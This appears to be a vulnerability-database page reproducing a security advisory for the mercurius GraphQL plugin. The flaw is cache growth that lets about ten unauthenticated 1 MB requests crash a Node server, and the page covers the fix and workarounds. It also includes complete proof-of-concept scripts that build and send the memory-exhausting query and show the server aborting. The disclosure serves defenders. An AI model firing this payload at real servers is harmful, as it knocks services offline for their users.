Wiz se junta ao Google Cloud: Fazendo magia juntos

GHSA-j9x8-49mc-xpgh: 
JavaScript Análise e mitigação de vulnerabilidades

Package: mercurius Reproduced on: 16.12.1 on fastify 5.12.8 with graphql 16.15.0, Node 22.22.3, default app.register(mercurius, { schema, resolvers }) Weakness: CWE-770 (allocation of resources without limits or throttling) Impact: an unauthenticated client can abort the server process.

Summary

Mercurius keeps two LRU caches keyed by the full query string: one for parsed documents and one for validation errors. The error cache stores the whole parsed document alongside the errors. Both are bounded only by entry count (1,024), not by size. A document of the form {a}{a}{a}… is cheap to send but its parsed form is several hundred times larger than its text. Each distinct 1 MB document of that shape, which is within Fastify's default body limit, leaves about 430 MB on the heap after garbage collection. The tenth request aborts the process with "JavaScript heap out of memory".

Details

Line numbers are from node_modules/mercurius/index.js in 16.12.1.

  • :103-105: new QuickLRU({ maxSize: 1024 }), an entry-count bound only.
  • :157-158: two caches are built, lru and lruErrors.
  • :565-571: both are looked up by source, the query string.
  • :622: lruErrors.set(source, { document, validationErrors }) keeps the parsed document for queries that failed validation.
  • :640: the document cache stores valid documents the same way. The requests below return HTTP 200 with a validation error ("This anonymous operation must be the only defined operation"), so the client never needs a valid operation. A code comment near :569 describes the error cache as protection against denial of service.

Reproduction

node poc-large-document-memory.mjs mercurius 1040000 12 starts the server in a child process, sends documents of {a} repeated to about 1 MB (each made unique with a trailing comment), and prints the server's heap after a forced garbage collection.

mercurius: server on 127.0.0.1:59132, baseline heap 18 MB
request 1 (1.0 MB sent in total): HTTP 200 … | heap after GC: 447 MB
request 2 (2.1 MB sent in total): HTTP 200 … | heap after GC: 876 MB
request 3 (3.1 MB sent in total): HTTP 200 … | heap after GC: 1304 MB
request 4 (4.2 MB sent in total): HTTP 200 … | heap after GC: 1733 MB
request 5 (5.2 MB sent in total): HTTP 200 … | heap after GC: 2162 MB
request 6 (6.2 MB sent in total): HTTP 200 … | heap after GC: 2591 MB
request 7 (7.3 MB sent in total): HTTP 200 … | heap after GC: 3020 MB
request 8 (8.3 MB sent in total): HTTP 200 … | heap after GC: 3448 MB
request 9 (9.4 MB sent in total): HTTP 200 … | heap after GC: 3877 MB
request 10 (10.4 MB sent in total): request failed: UND_ERR_SOCKET | heap after GC: server gone
SERVER PROCESS EXITED: code=null signal=SIGABRT
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

A second reviewer reproduced this independently (the server died on the ninth request in that run, about 412 MB retained per request) and confirmed that with cache: false the heap stays flat at 14–16 MB. A single-operation document { a a a … } retained about 242 MB per request. Dependencies: graphql@16.15.0, graphql-yoga@6.1.0, @apollo/server@5.5.2, mercurius@16.12.1, fastify@5.12.8. Node 22.22.3 with the default heap limit (about 4 GB).

Impact

  • About 10 MB of sequential unauthenticated requests terminates the process. A heap-limit abort cannot be caught.
  • The entries stay until evicted by 1,024 newer ones, so the requests do not need to be concurrent.
  • Fastify's 1 MB body limit bounds each request but not the total retained.

Suggested fix

  1. In the error cache, store only the validation errors, not the parsed document (:622).
  2. Bound both caches by size: skip caching sources above a length threshold, or weigh entries by source length.
  3. Apply a default maxTokens when parsing, so a 1 MB document of tiny tokens is rejected early.

Workarounds

  • cache: false, at the cost of re-parsing every request.
  • A small cache size together with a lower Fastify bodyLimit.
  • graphql.parseOptions.maxTokens.

Similar issues elsewhere

  • Mercurius GHSA-m4h2-mjfm-mp55: queryDepth was not enforced over WebSocket, an earlier case of a denial-of-service control with a gap.
  • Mercurius CVE-2025-64166 (GHSA-v66j-6wwf-jc57): the most recent Mercurius advisory, for reference.
  • graphql-yoga GHSA-qqff-c8xf-m364: unbounded request body, fixed by adding a body limit.
  • graphql-js: the maxTokens parser option exists because parsing cost is not bounded by request size; it is off by default.
  • graph-gophers/graphql-go GHSA-2xv9-95g5-6xc3 and Juniper GHSA-36rq-8957-mjrx: recent advisories adding document-size and work limits for the same reason.

Reproduction scripts

servers.mjs

// Child process: starts one server and reports its port and heap usage to the parent over IPC.
// Usage (spawned by poc-large-document-memory.mjs): node --expose-gc servers.mjs <yoga|yoga-nocache|apollo|mercurius>
import { createServer } from 'node:http';
const kind = process.argv[2];
const typeDefs = 'type Query { a: Int }';
const resolvers = { Query: { a: () => 1 } };
let port;
if (kind === 'yoga' || kind === 'yoga-nocache') {
  const { createYoga, createSchema } = await import('graphql-yoga');
  const yoga = createYoga({
    schema: createSchema({ typeDefs, resolvers }),
    logging: false,
    ...(kind === 'yoga-nocache' ? { parserAndValidationCache: false } : {}),
  });
  const server = createServer(yoga);
  await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
  port = server.address().port;
} else if (kind === 'apollo') {
  const { ApolloServer } = await import('@apollo/server');
  const { startStandaloneServer } = await import('@apollo/server/standalone');
  const server = new ApolloServer({ typeDefs, resolvers });
  const { url } = await startStandaloneServer(server, { listen: { port: 0, host: '127.0.0.1' } });
  port = Number(new URL(url).port);
} else if (kind === 'mercurius') {
  const { default: Fastify } = await import('fastify');
  const { default: mercurius } = await import('mercurius');
  const app = Fastify();
  app.register(mercurius, { schema: typeDefs, resolvers });
  await app.listen({ port: 0, host: '127.0.0.1' });
  port = app.server.address().port;
}
process.on('message', (message) => {
  if (message === 'heap') {
    globalThis.gc();
    process.send({ heapMB: Math.round(process.memoryUsage().heapUsed / 1e6) });
  }
});
process.send({ port });

poc-large-document-memory.mjs

// Sends documents made of many tiny operations to a default-configured server and reports
// the server's heap after each request (after a forced GC) and how the server process ended.
// Usage: node poc-large-document-memory.mjs <yoga|yoga-nocache|apollo|mercurius> <documentBytes> <requests>
import { fork } from 'node:child_process';
const [kind = 'yoga', bytes = '2000000', requests = '8'] = process.argv.slice(2);
const child = fork(new URL('./servers.mjs', import.meta.url), [kind], { execArgv: ['--expose-gc'], stdio: ['ignore', 'ignore', 'pipe', 'ipc'] });
child.setMaxListeners(0);
let stderr = '';
child.stderr.on('data', (chunk) => (stderr += chunk));
let exited = null;
child.on('exit', (code, signal) => (exited = { code, signal }));
const once = (match) => new Promise((resolve) => {
  const handler = (message) => { if (match(message)) { child.off('message', handler); resolve(message); } };
  child.on('message', handler);
  child.on('exit', () => resolve(null));
});
const { port } = await once((m) => 'port' in m);
const heap = async () => { child.send('heap'); const m = await once((m) => 'heapMB' in m); return m ? m.heapMB : null; };
console.log(`${kind}: server on 127.0.0.1:${port}, baseline heap ${await heap()} MB`);
let sent = 0;
for (let i = 1; i <= Number(requests) && !exited; i++) {
  // "{a}{a}{a}…" is many anonymous operations: valid syntax, rejected only after parsing. The comment makes each document unique.
  const query = '{a}'.repeat(Math.floor(Number(bytes) / 3)) + ` #${i}`;
  const body = JSON.stringify({ query });
  sent += body.length;
  let outcome;
  try {
    const response = await fetch(`http://127.0.0.1:${port}/graphql`, { method: 'POST', headers: { 'content-type': 'application/json' }, body });
    outcome = `HTTP ${response.status} ${(await response.text()).slice(0, 80).replace(/\s+/g, ' ')}`;
  } catch (error) {
    outcome = `request failed: ${error.cause?.code ?? error.message}`;
  }
  await new Promise((resolve) => setTimeout(resolve, 300));
  const heapMB = exited ? null : await heap();
  console.log(`request ${i} (${(sent / 1e6).toFixed(1)} MB sent in total): ${outcome} | heap after GC: ${heapMB === null ? 'server gone' : heapMB + ' MB'}`);
}
await new Promise((resolve) => setTimeout(resolve, 500));
if (exited) {
  console.log(`SERVER PROCESS EXITED: code=${exited.code} signal=${exited.signal}`);
  console.log((stderr.match(/FATAL ERROR[^\n]*/) ?? ['(no fatal error line captured)'])[0]);
} else {
  console.log('server still running');
  child.kill();
}

Origem: NVD

Relacionado JavaScript Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploit CISA KEV

Tem correção

Data de publicação

GHSA-mp5r-736v-j8x9HIGH7.5
  • JavaScript logoJavaScript
  • @react-router/dev
NãoSimNov 18, 2026
GHSA-j9x8-49mc-xpghHIGH7.5
  • JavaScript logoJavaScript
  • mercurius
NãoSimNov 18, 2026
CVE-2026-132131HIGH7.4
  • JavaScript logoJavaScript
  • @fastify/middie
NãoSimNov 18, 2026
CVE-2026-132128HIGH7.4
  • JavaScript logoJavaScript
  • @fastify/middie
NãoSimNov 18, 2026
CVE-2026-132133MEDIUM4.8
  • JavaScript logoJavaScript
  • @fastify/middie
NãoSimNov 18, 2026

Avaliação Gratuita de Vulnerabilidades

Avalie a sua postura de segurança na nuvem

Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.

Avaliação de solicitação

Recursos adicionais da Wiz

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades